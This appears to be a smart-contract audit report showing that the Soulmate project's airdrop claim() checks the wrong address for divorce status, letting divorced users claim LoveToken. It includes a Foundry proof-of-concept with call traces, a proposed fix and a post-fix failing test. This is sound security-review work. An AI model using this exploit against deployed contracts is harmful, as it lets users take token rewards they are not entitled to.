Summary
Divorced 'soulmates' can claim the airdrops.
Vulnerability Details
Wrong 'if' statement in 'claim()' of 'airdropContract' which makes the 'address(airdropContract)' to be checked wether 'isDivorced()' instead of 'msg.sender' as it should and therefore never reverts.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
Impact
There is no condition statement to claim the airdrops.
POC
function test_soulmate() public {
start= block.timestamp;
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate3);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate4);
soulmateContract.mintSoulmateToken();
vm.warp(start+30 days);
vm.startPrank(soulmate1);
soulmateContract.getDivorced();
assertTrue (soulmateContract.isDivorced());
vm.stopPrank();
vm.prank(soulmate2);
assertTrue (soulmateContract.isDivorced());
vm.deal(soulmate1, 1 ether);
vm.startPrank(soulmate1);
airdropContract.claim();
emit balance(soulmate1, loveToken.balanceOf(soulmate1));
vm.stopPrank();
}
├─ [70351] 0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6::claim()
│ ├─ [2406] Soulmate::isDivorced() [staticcall]
│ │ └─ ← false
│ ├─ [585] Soulmate::ownerToId(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ │ └─ ← 0
│ ├─ [571] Soulmate::idToCreationTimestamp(0)
│ │ └─ ← 1
│ ├─ [293] LoveToken::decimals()
│ │ └─ ← 18
│ ├─ [293] LoveToken::decimals()
│ │ └─ ← 18
│ ├─ [2586] LoveToken::balanceOf(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b])
│ │ └─ ← 500000000000000000000000000 [5e26]
│ ├─ emit TokenClaimed(user: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], amount: 30000000000000000000 [3e19])
│ ├─ [33184] LoveToken::transferFrom(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], 30000000000000000000 [3e19])
│ │ ├─ emit Transfer(from: Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], amount: 30000000000000000000 [3e19])
│ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ └─ ← ()
├─ [586] LoveToken::balanceOf(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f]) [staticcall]
│ └─ ← 30000000000000000000 [3e19]
├─ emit balance(: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], : 30000000000000000000 [3e19])
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Tools Used
Foundry
Recommendations
'on contract Soulmate'
- function isDivorced() public returns (bool) {
- return divorced[msg.sender];}
+ function isDivorced(address soul) public returns (bool) {
+ return divorced[soul];
}
'on interface ISoulmate'
- function isDivorced() external view returns (bool);
+ function isDivorced(address) external view returns (bool);
'on contract Airdrop'
- if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+ if (soulmateContract.isDivorced(msg.sender)) revert Airdrop__CoupleIsDivorced();
'POC'
function test_soulmate() public {
start= block.timestamp;
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.warp(start+30 days);
vm.startPrank(soulmate1);
soulmateContract.getDivorced();
assertTrue (soulmateContract.isDivorced(soulmate1));
vm.stopPrank();
vm.prank(soulmate2);
assertTrue (soulmateContract.isDivorced(soulmate2));
vm.startPrank(soulmate1);
airdropContract.claim();
vm.stopPrank();
}
[264073] AirdropT::test_soulmate()
├─ [0] VM::prank(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← ()
├─ [33015] Soulmate::mintSoulmateToken()
│ ├─ emit SoulmateIsWaiting(soulmate: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← 0
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [157343] Soulmate::mintSoulmateToken()
│ ├─ emit SoulmateAreReunited(soulmate1: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], soulmate2: 0x0000000000000000000000000000000000000000, tokenId: 0)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000002, id: 0)
│ └─ ← 0
├─ [0] VM::warp(2592001 [2.592e6])
│ └─ ← ()
├─ [0] VM::startPrank(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← ()
├─ [46388] Soulmate::getDivorced()
│ ├─ emit CoupleHasDivorced(soulmate1: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], soulmate2: 0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [650] Soulmate::isDivorced(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [650] Soulmate::isDivorced(0x0000000000000000000000000000000000000002)
│ └─ ← true
├─ [0] VM::startPrank(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← ()
├─ [1291] 0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6::claim()
│ ├─ [650] Soulmate::isDivorced(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f]) [staticcall]
│ │ └─ ← true
│ └─ ← 0x525c0683
└─ ← 0x525c0683
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.22ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/4th05_2.t.sol:AirdropT
[FAIL. Reason: Airdrop__CoupleIsDivorced()] test_soulmate() (gas: 264073)